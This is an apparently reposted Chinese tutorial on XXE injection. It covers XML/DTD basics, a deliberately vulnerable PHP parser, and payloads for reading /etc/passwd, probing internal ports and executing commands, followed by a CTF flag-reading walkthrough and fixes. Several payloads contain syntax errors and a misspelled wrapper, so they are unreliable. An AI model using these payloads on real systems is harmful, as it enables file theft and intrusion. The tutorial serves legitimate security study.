[web安全原理分析]-XEE漏洞入門


前言

1

前言

XXE漏洞

XXE漏洞全稱(XML External Entity Injection)即xml外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等危害。xxe漏洞觸發的點往往是可以上傳xml文件的位置,沒有對上傳的xml文件進行過濾,導致可上傳惡意xml文件。

XML基礎

XML

XML(EXtensible Markup Language,可擴展標記語言)用來結構化、存儲以及傳輸信息。

XML文檔結構包括3部分:XML聲明、文檔類型定義(可選)和文檔元素

 

 1 <!-- XML聲明(定義了XML的版本和編碼) -->
 2 <?xml version="1.0" encoding="ISO-8859-1"?>
 3 
 4 <!-- 文檔類型定義 -->
 5 <!DOCTYPE note [
 6   <!ELEMENT note (to,from,heading,body)>
 7   <!ELEMENT to      (#PCDATA)>
 8   <!ELEMENT from    (#PCDATA)>
 9   <!ELEMENT heading (#PCDATA)>
10   <!ELEMENT body    (#PCDATA)>
11 ]>
12 
13 <!-- 文檔元素 -->
14 <note>
15 <to>George</to>
16 <from>John</from>
17 <heading>Reminder</heading>
18 <body>Don't forget the meeting!</body>
19 </note>
View Code

1.XML聲明

xml聲明以<?開頭,以?>結束。version屬性是必選的,它定義了XML版本。encoding屬性是可選的,它定義了XML進行解碼時所用的字符集

<?xml version="1.0" encoding="ISO-8859-1"?>

2.文檔類型定義

  文檔類型定義(Document Type Definition,DTD)用來約束一個XML文檔的書寫規范。

  1.文檔類型定義的基礎語法:

<!ELEMENT 元素名 類型>

  2.內部定義

  將文檔類型定義放在XML文檔中,稱為內部定義,內部定義的格式如下:

<!DOCTYPE 根元素 [元素聲明]>

eg: 

<!DOCTYPE note [                          <!-- 定義此文檔是note類型 -->
  <!ELEMENT note (to,from,heading,body)>  <!-- 定義note有4個元素:to from heading body -->
  <!ELEMENT to      (#PCDATA)>            <!-- 定義to元素為#PCDATA類型  -->
  <!ELEMENT from    (#PCDATA)>            <!-- 定義from元素為#PCDATA類型 -->
  <!ELEMENT heading (#PCDATA)>            <!-- 定義heading元素為#PCDATA類型 -->
  <!ELEMENT body    (#PCDATA)>            <!-- 定義body元素為#PCDATA類型 -->
]>

  3.外部文檔引用

  文檔類型定義的內容也可以保存為單獨的DTD文檔

  (1)DTD文檔在本地格式

<!DOCTYPE 根元素 SYSTEM "文件名">
<!--eg:<!DOCTYPE note SYSTEM "note.dtd">-->

  (2)DTD文檔外網引用

<!DOCTYPE 根元素 PUBLIC "DTD名稱" "DTD文檔的URL">
<!--eg:<!doctype html public "xxx" "http://www.xx.com/note.dtd">-->

XML漏洞利用

漏洞代碼:

file_get_contents函數讀取了php://input傳入的數據,但是傳入的數據沒有經過任何過濾,直接在loadXML函數中進行了調用並通過了echo函數輸入$username的結果,這樣就導致了XXE漏洞的產生。

<?php 
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();

$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password;

echo 'hello'.$username;

?>

1.文件讀取

通過加載外部實體,利用file://、php://等偽協議讀取本地文件

payload:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

 2.內網探測

 利用xxe漏洞進行內網探測,如果端口開啟,請求返回的時間會很快,如果端口關閉請求返回的時間會很慢

探測22號端口是否開啟

payload:

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

 

3.內網應用攻擊

通過XXE漏洞進行內網應用攻擊,例如攻擊內網jmx控制台未授權訪問的JBpss漏洞進行攻擊

 

4.命令執行

利用xxe漏洞可以調用except://偽協議調用系統命令

payload:

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

 

 

XXE-CTF實例

目標:http://web.jarvisoj.com:9882/

BP抓包一下  

 

 

將Content-Type:application/json改成application/xml構造XEE 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">  ]>
<tq>&xxe;</tq>

XEE漏洞修補

1.禁用外部實體。在代碼中設置libxml_disable_entity_loader(true)

2.過濾用戶提交的XML數據。過濾關鍵詞為<!DOCTYPE、<!ENTITY、SYSTEM和PUBLIC.

 

 

參考學習:《web安全原理分析與實踐》——XXE漏洞

       https://www.freebuf.com/vuls/175451.html  淺談XXE實體注入漏洞

     https://www.freebuf.com/column/225780.html   xxe從入門到放棄

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM